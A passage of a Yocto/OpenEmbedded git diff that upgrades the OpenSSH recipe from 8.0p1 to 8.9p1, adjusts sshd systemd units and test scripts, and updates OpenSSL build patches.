++++ b/m4/openssh.m4
+@@ -14,6 +14,8 @@ AC_DEFUN([OSSH_CHECK_CFLAG_COMPILE], [{
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
+ #include <stdlib.h>
+ #include <stdio.h>
++/* Trivial function to help test for -fzero-call-used-regs */
++void f(int n) {}
+ int main(int argc, char **argv) {
+ (void)argv;
+ /* Some math to catch -ftrapv problems in the toolchain */
+@@ -21,6 +23,7 @@ int main(int argc, char **argv) {
+ float l = i * 2.1;
+ double m = l / 0.5;
+ long long int n = argc * 12345LL, o = 12345LL * (long long int)argc;
++ f(0);
+ printf("%d %d %d %f %f %lld %lld\n", i, j, k, l, m, n, o);
+ /*
+ * Test fallthrough behaviour. clang 10's -Wimplicit-fallthrough does
diff --git a/meta/recipes-connectivity/openssh/openssh/run-ptest b/meta/recipes-connectivity/openssh/openssh/run-ptest
index daf62cca5b..8a9b770d59 100755
--- a/meta/recipes-connectivity/openssh/openssh/run-ptest
+++ b/meta/recipes-connectivity/openssh/openssh/run-ptest
@@ -1,10 +1,11 @@
#!/bin/sh
export TEST_SHELL=sh
+export SKIP_UNIT=1
cd regress
sed -i "/\t\tagent-ptrace /d" Makefile
-make -k .OBJDIR=`pwd` .CURDIR=`pwd` SUDO="sudo" tests \
+make -k BUILDDIR=`pwd`/.. .OBJDIR=`pwd` .CURDIR=`pwd` SUDO="sudo" tests \
| sed -u -e 's/^skipped/SKIP: /g' -e 's/^ok /PASS: /g' -e 's/^failed/FAIL: /g'
SSHAGENT=`which ssh-agent`
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd.socket b/meta/recipes-connectivity/openssh/openssh/sshd.socket
index 12c39b26b5..8d76d62309 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd.socket
+++ b/meta/recipes-connectivity/openssh/openssh/sshd.socket
@@ -1,5 +1,6 @@
[Unit]
Conflicts=sshd.service
+Wants=sshdgenkeys.service
[Socket]
ExecStartPre=@BASE_BINDIR@/mkdir -p /var/run/sshd
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd@.service b/meta/recipes-connectivity/openssh/openssh/sshd@.service
index 9d83dfb2bb..9d9965e624 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd@.service
+++ b/meta/recipes-connectivity/openssh/openssh/sshd@.service
@@ -1,13 +1,10 @@
[Unit]
Description=OpenSSH Per-Connection Daemon
-Wants=sshdgenkeys.service
After=sshdgenkeys.service
[Service]
Environment="SSHD_OPTS="
EnvironmentFile=-/etc/default/ssh
ExecStart=-@SBINDIR@/sshd -i $SSHD_OPTS
-ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
StandardInput=socket
-StandardError=syslog
KillMode=process
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
index 1931dc7153..ef117de897 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
+++ b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
@@ -6,6 +6,7 @@ generate_key() {
local DIR="$(dirname "$FILE")"
mkdir -p "$DIR"
+ rm -f ${FILE}.tmp
ssh-keygen -q -f "${FILE}.tmp" -N '' -t $TYPE
# Atomically rename file public key
diff --git a/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service b/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
index 603c33787f..fd81793d51 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
+++ b/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
@@ -6,3 +6,4 @@ RequiresMountsFor=/var /run
ExecStart=@LIBEXECDIR@/sshd_check_keys
Type=oneshot
RemainAfterExit=yes
+Nice=10
diff --git a/meta/recipes-connectivity/openssh/openssh_8.0p1.bb b/meta/recipes-connectivity/openssh/openssh_8.0p1.bb
deleted file mode 100644
index 2ffbc9a95f..0000000000
--- a/meta/recipes-connectivity/openssh/openssh_8.0p1.bb
+++ /dev/null
@@ -1,165 +0,0 @@
-SUMMARY = "A suite of security-related network utilities based on \
-the SSH protocol including the ssh client and sshd server"
-DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
-Ssh (Secure Shell) is a program for logging into a remote machine \
-and for executing commands on a remote machine."
-HOMEPAGE = "http://www.openssh.com/"
-SECTION = "console/network"
-LICENSE = "BSD & ISC & MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=429658c6612f3a9b1293782366ab29d8"
-
-DEPENDS = "zlib openssl virtual/crypt"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
- file://sshd_config \
- file://ssh_config \
- file://init \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://sshd.socket \
- file://sshd@.service \
- file://sshdgenkeys.service \
- file://volatiles.99_sshd \
- file://run-ptest \
- file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
- file://sshd_check_keys \
- file://add-test-support-for-busybox.patch \
- file://0001-upstream-fix-integer-overflow-in-XMSS-private-key-pa.patch \
- "
-SRC_URI[md5sum] = "bf050f002fe510e1daecd39044e1122d"
-SRC_URI[sha256sum] = "bd943879e69498e8031eb6b7f44d08cdc37d59a7ab689aa0b437320c3481fd68"
-
-PAM_SRC_URI = "file://sshd"
-
-inherit useradd update-rc.d update-alternatives systemd
-
-USERADD_PACKAGES = "${PN}-sshd"
-USERADD_PARAM_${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
-INITSCRIPT_PACKAGES = "${PN}-sshd"
-INITSCRIPT_NAME_${PN}-sshd = "sshd"
-INITSCRIPT_PARAMS_${PN}-sshd = "defaults 9"
-
-SYSTEMD_PACKAGES = "${PN}-sshd"
-SYSTEMD_SERVICE_${PN}-sshd = "sshd.socket"
-
-inherit autotools-brokensep ptest
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-# login path is hardcoded in sshd
-EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- --without-zlib-version-check \
- --with-privsep-path=${localstatedir}/run/sshd \
- --sysconfdir=${sysconfdir}/ssh \
- --with-xauth=${bindir}/xauth \
- --disable-strip \
- "
-
-# musl doesn't implement wtmp/utmp
-EXTRA_OECONF_append_libc-musl = " --disable-wtmp"
-
-# Since we do not depend on libbsd, we do not want configure to use it
-# just because it finds libutil.h. But, specifying --disable-libutil
-# causes compile errors, so...
-CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
-
-# passwd path is hardcoded in sshd
-CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
-
-# We don't want to depend on libblockfile
-CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
-
-do_configure_prepend () {
- export LD="${CC}"
- install -m 0644 ${WORKDIR}/sshd_config ${B}/
- install -m 0644 ${WORKDIR}/ssh_config ${B}/
-}
-
-do_compile_ptest() {
- # skip regress/unittests/ binaries: this will silently skip
- # unittests in run-ptests which is good because they are so slow.
- oe_runmake regress/modpipe regress/setuid-allowed regress/netcat \
- regress/check-perm regress/mkdtemp
-}
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
- sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
- sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
- rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
- rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
- install -d ${D}/${sysconfdir}/default/volatiles
- install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
- install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
-
- # Create config files for read-only rootfs
- install -d ${D}${sysconfdir}/ssh
- install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
- sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
-
- install -d ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@BINDIR@,${bindir},g' \
- -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${systemd_unitdir}/system/sshd.socket ${D}${systemd_unitdir}/system/*.service
-
- sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${sysconfdir}/init.d/sshd
-
- install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
-}
-
-do_install_ptest () {
- sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
- cp -r regress ${D}${PTEST_PATH}
-}
-
-ALLOW_EMPTY_${PN} = "1"
-
-PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
-FILES_${PN}-scp = "${bindir}/scp.${BPN}"
-FILES_${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
-FILES_${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_unitdir}/system"
-FILES_${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
-FILES_${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
-FILES_${PN}-sftp = "${bindir}/sftp"
-FILES_${PN}-sftp-server = "${libexecdir}/sftp-server"
-FILES_${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
-FILES_${PN}-keygen = "${bindir}/ssh-keygen"
-
-RDEPENDS_${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen"
-RDEPENDS_${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
-RRECOMMENDS_${PN}-sshd_append_class-target = " rng-tools"
-# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
-RDEPENDS_${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed sudo coreutils"
-
-RPROVIDES_${PN}-ssh = "ssh"
-RPROVIDES_${PN}-sshd = "sshd"
-
-RCONFLICTS_${PN} = "dropbear"
-RCONFLICTS_${PN}-sshd = "dropbear"
-
-CONFFILES_${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
-CONFFILES_${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
-
-ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_${PN}-scp = "scp"
-ALTERNATIVE_${PN}-ssh = "ssh"
-
-BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssh/openssh_8.9p1.bb b/meta/recipes-connectivity/openssh/openssh_8.9p1.bb
new file mode 100644
index 0000000000..6c5c1912e8
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh_8.9p1.bb
@@ -0,0 +1,187 @@
+SUMMARY = "A suite of security-related network utilities based on \
+the SSH protocol including the ssh client and sshd server"
+DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
+Ssh (Secure Shell) is a program for logging into a remote machine \
+and for executing commands on a remote machine."
+HOMEPAGE = "http://www.openssh.com/"
+SECTION = "console/network"
+LICENSE = "BSD-2-Clause & BSD-3-Clause & ISC & MIT"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=8baf365614c9bdd63705f298c9afbfb9"
+
+DEPENDS = "zlib openssl virtual/crypt"
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
+ file://sshd_config \
+ file://ssh_config \
+ file://init \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://sshd.socket \
+ file://sshd@.service \
+ file://sshdgenkeys.service \
+ file://volatiles.99_sshd \
+ file://run-ptest \
+ file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
+ file://sshd_check_keys \
+ file://add-test-support-for-busybox.patch \
+ file://f107467179428a0e3ea9e4aa9738ac12ff02822d.patch \
+ "
+SRC_URI[sha256sum] = "fd497654b7ab1686dac672fb83dfb4ba4096e8b5ffcdaccd262380ae58bec5e7"
+
+# This CVE is specific to OpenSSH with the pam opie which we don't build/use here
+CVE_CHECK_IGNORE += "CVE-2007-2768"
+
+# This CVE is specific to OpenSSH server, as used in Fedora and Red Hat Enterprise Linux 7
+# and when running in a Kerberos environment. As such it is not relevant to OpenEmbedded
+CVE_CHECK_IGNORE += "CVE-2014-9278"
+
+# CVE only applies to some distributed RHEL binaries
+CVE_CHECK_IGNORE += "CVE-2008-3844"
+
+PAM_SRC_URI = "file://sshd"
+
+inherit manpages useradd update-rc.d update-alternatives systemd
+
+USERADD_PACKAGES = "${PN}-sshd"
+USERADD_PARAM:${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
+INITSCRIPT_PACKAGES = "${PN}-sshd"
+INITSCRIPT_NAME:${PN}-sshd = "sshd"
+INITSCRIPT_PARAMS:${PN}-sshd = "defaults 9"
+
+SYSTEMD_PACKAGES = "${PN}-sshd"
+SYSTEMD_SERVICE:${PN}-sshd = "sshd.socket"
+
+inherit autotools-brokensep ptest
+
+PACKAGECONFIG ??= "rng-tools"
+PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
+PACKAGECONFIG[ldns] = "--with-ldns,--without-ldns,ldns"
+PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
+PACKAGECONFIG[manpages] = "--with-mantype=man,--with-mantype=cat"
+
+# Add RRECOMMENDS to rng-tools for sshd package
+PACKAGECONFIG[rng-tools] = ""
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+# login path is hardcoded in sshd
+EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ --without-zlib-version-check \
+ --with-privsep-path=${localstatedir}/run/sshd \
+ --sysconfdir=${sysconfdir}/ssh \
+ --with-xauth=${bindir}/xauth \
+ --disable-strip \
+ "
+
+# musl doesn't implement wtmp/utmp and logwtmp
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
+# https://bugzilla.mindrot.org/show_bug.cgi?id=3398
+EXTRA_OECONF:append:powerpc = " --with-sandbox=no"
+
+# Since we do not depend on libbsd, we do not want configure to use it
+# just because it finds libutil.h. But, specifying --disable-libutil
+# causes compile errors, so...
+CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
+
+# passwd path is hardcoded in sshd
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
+
+# We don't want to depend on libblockfile
+CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
+
+do_configure:prepend () {
+ export LD="${CC}"
+ install -m 0644 ${WORKDIR}/sshd_config ${B}/
+ install -m 0644 ${WORKDIR}/ssh_config ${B}/
+}
+
+do_compile_ptest() {
+ oe_runmake regress-binaries regress-unit-binaries
+}
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
+ sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
+ sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
+ rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
+ rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
+ install -d ${D}/${sysconfdir}/default/volatiles
+ install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
+ install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
+
+ # Create config files for read-only rootfs
+ install -d ${D}${sysconfdir}/ssh
+ install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
+ sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+
+ install -d ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@BINDIR@,${bindir},g' \
+ -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${systemd_system_unitdir}/sshd.socket ${D}${systemd_system_unitdir}/*.service
+
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${sysconfdir}/init.d/sshd
+
+ install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
+}
+
+do_install_ptest () {
+ sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
+ cp -r regress ${D}${PTEST_PATH}
+ cp config.h ${D}${PTEST_PATH}
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
+FILES:${PN}-scp = "${bindir}/scp.${BPN}"
+FILES:${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
+FILES:${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_system_unitdir}"
+FILES:${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
+FILES:${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
+FILES:${PN}-sftp = "${bindir}/sftp"
+FILES:${PN}-sftp-server = "${libexecdir}/sftp-server"
+FILES:${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
+FILES:${PN}-keygen = "${bindir}/ssh-keygen"
+
+RDEPENDS:${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen"
+RDEPENDS:${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
+RRECOMMENDS:${PN}-sshd:append:class-target = "\
+ ${@bb.utils.filter('PACKAGECONFIG', 'rng-tools', d)} \
+"
+
+# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
+RDEPENDS:${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed sudo coreutils"
+
+RPROVIDES:${PN}-ssh = "ssh"
+RPROVIDES:${PN}-sshd = "sshd"
+
+RCONFLICTS:${PN} = "dropbear"
+RCONFLICTS:${PN}-sshd = "dropbear"
+
+CONFFILES:${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
+CONFFILES:${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-scp = "scp"
+ALTERNATIVE:${PN}-ssh = "ssh"
+
+BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
new file mode 100644
index 0000000000..5effa6c6f6
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
@@ -0,0 +1,36 @@
+From 326909baf81a638d51fa8be1d8227518784f5cc4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 14 Sep 2021 12:18:25 +0200
+Subject: [PATCH] Configure: do not tweak mips cflags
+
+This conflicts with mips machine definitons from yocto,
+e.g.
+| Error: -mips3 conflicts with the other architecture options, which imply -mips64r2
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Configure | 10 ----------
+ 1 file changed, 10 deletions(-)
+
+diff --git a/Configure b/Configure
+index 821e680..0387a74 100755
+--- a/Configure
++++ b/Configure
+@@ -1422,16 +1422,6 @@ if ($target =~ /^mingw/ && `$config{CC} --target-help 2>&1` =~ m/-mno-cygwin/m)
+ push @{$config{shared_ldflag}}, "-mno-cygwin";
+ }
+
+-if ($target =~ /linux.*-mips/ && !$disabled{asm}
+- && !grep { $_ !~ /-m(ips|arch=)/ } (@{$config{CFLAGS}})) {
+- # minimally required architecture flags for assembly modules
+- my $value;
+- $value = '-mips2' if ($target =~ /mips32/);
+- $value = '-mips3' if ($target =~ /mips64/);
+- unshift @{$config{cflags}}, $value;
+- unshift @{$config{cxxflags}}, $value if $config{CXX};
+-}
+-
+ # If threads aren't disabled, check how possible they are
+ unless ($disabled{threads}) {
+ if ($auto_threads) {
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
index 949c788344..60890c666d 100644
--- a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
+++ b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
@@ -1,4 +1,4 @@
-From 3e1d00481093e10775eaf69d619c45b32a4aa7dc Mon Sep 17 00:00:00 2001
+From 5985253f2c9025d7c127443a3a9938946f80c2a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Hundeb=C3=B8ll?= <martin@geanix.com>
Date: Tue, 6 Nov 2018 14:50:47 +0100
Subject: [PATCH] buildinfo: strip sysroot and debug-prefix-map from compiler
@@ -21,20 +21,24 @@ https://patchwork.openembedded.org/patch/147229/
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Martin Hundebøll <martin@geanix.com>
-
Update to fix buildpaths qa issue for '-fmacro-prefix-map'.
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Update to fix buildpaths qa issue for '-ffile-prefix-map'.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- Configurations/unix-Makefile.tmpl | 10 +++++++++-
+ Configurations/unix-Makefile.tmpl | 12 +++++++++++-
crypto/build.info | 2 +-
- 2 files changed, 10 insertions(+), 2 deletions(-)
+ 2 files changed, 12 insertions(+), 2 deletions(-)
diff --git a/Configurations/unix-Makefile.tmpl b/Configurations/unix-Makefile.tmpl
-index 16af4d2087..54c162784c 100644
+index f88a70f..528cdef 100644
--- a/Configurations/unix-Makefile.tmpl
+++ b/Configurations/unix-Makefile.tmpl
-@@ -317,13 +317,22 @@ BIN_LDFLAGS={- join(' ', $target{bin_lflags} || (),
+@@ -471,13 +471,23 @@ BIN_LDFLAGS={- join(' ', $target{bin_lflags} || (),
'$(CNF_LDFLAGS)', '$(LDFLAGS)') -}
BIN_EX_LIBS=$(CNF_EX_LIBS) $(EX_LIBS)
@@ -49,6 +53,7 @@ index 16af4d2087..54c162784c 100644
+CFLAGS_Q={- for (@{$config{CFLAGS}}) {
+ s|-fdebug-prefix-map=[^ ]+|-fdebug-prefix-map=|g;
+ s|-fmacro-prefix-map=[^ ]+|-fmacro-prefix-map=|g;
++ s|-ffile-prefix-map=[^ ]+|-ffile-prefix-map=|g;
+ }
+ join(' ', @{$config{CFLAGS}}) -}
+
@@ -59,18 +64,15 @@ index 16af4d2087..54c162784c 100644
# For x86 assembler: Set PROCESSOR to 386 if you want to support
diff --git a/crypto/build.info b/crypto/build.info
-index b515b7318e..8c9cee2a09 100644
+index efca6cc..eda433e 100644
--- a/crypto/build.info
+++ b/crypto/build.info
-@@ -10,7 +10,7 @@ EXTRA= ../ms/uplink-x86.pl ../ms/uplink.c ../ms/applink.c \
- ppccpuid.pl pariscid.pl alphacpuid.pl arm64cpuid.pl armv4cpuid.pl
+@@ -109,7 +109,7 @@ DEFINE[../libcrypto]=$UPLINKDEF
+ DEPEND[info.o]=buildinf.h
DEPEND[cversion.o]=buildinf.h
-GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC) $(LIB_CFLAGS) $(CPPFLAGS_Q)" "$(PLATFORM)"
+GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC_Q) $(CFLAGS_Q) $(CPPFLAGS_Q)" "$(PLATFORM)"
- DEPEND[buildinf.h]=../configdata.pm
- GENERATE[uplink-x86.s]=../ms/uplink-x86.pl $(PERLASM_SCHEME)
---
-2.19.1
-
+ GENERATE[uplink-x86.s]=../ms/uplink-x86.pl
+ GENERATE[uplink-x86_64.s]=../ms/uplink-x86_64.pl
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch b/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
deleted file mode 100644
index d8d9651b64..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From a9401b2289656c5a36dd1b0ecebf0d23e291ce70 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 2 Oct 2018 23:58:24 +0800
-Subject: [PATCH] skip test_symbol_presence
-
-We cannot skip `01-test_symbol_presence.t' by configuring option `no-shared'
-as INSTALL told us the shared libraries will not be built.
-
-[INSTALL snip]
- Notes on shared libraries
- -------------------------
-
- For most systems the OpenSSL Configure script knows what is needed to
- build shared libraries for libcrypto and libssl. On these systems
- the shared libraries will be created by default. This can be suppressed and
- only static libraries created by using the "no-shared" option. On systems
- where OpenSSL does not know how to build shared libraries the "no-shared"
- option will be forced and only static libraries will be created.
-[INSTALL snip]
-
-Hence directly modification the case to skip it.
-
-Upstream-Status: Inappropriate [OE Specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- test/recipes/01-test_symbol_presence.t | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/test/recipes/01-test_symbol_presence.t b/test/recipes/01-test_symbol_presence.t
-index 7f2a2d7..0b93745 100644
---- a/test/recipes/01-test_symbol_presence.t
-+++ b/test/recipes/01-test_symbol_presence.t
-@@ -14,8 +14,7 @@ use OpenSSL::Test::Utils;
-
- setup("test_symbol_presence");
-
--plan skip_all => "Only useful when building shared libraries"
-- if disabled("shared");
-+plan skip_all => "The case needs debug symbols then we just disable it";
-
- my @libnames = ("crypto", "ssl");
- my $testcount = scalar @libnames;
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/openssl/openssl/run-ptest b/meta/recipes-connectivity/openssl/openssl/run-ptest
index 3fb22471f8..8dff79101f 100644
--- a/meta/recipes-connectivity/openssl/openssl/run-ptest
+++ b/meta/recipes-connectivity/openssl/openssl/run-ptest
@@ -9,4 +9,4 @@ export TOP=.
# OPENSSL_ENGINES is relative from the test binaries
export OPENSSL_ENGINES=../engines
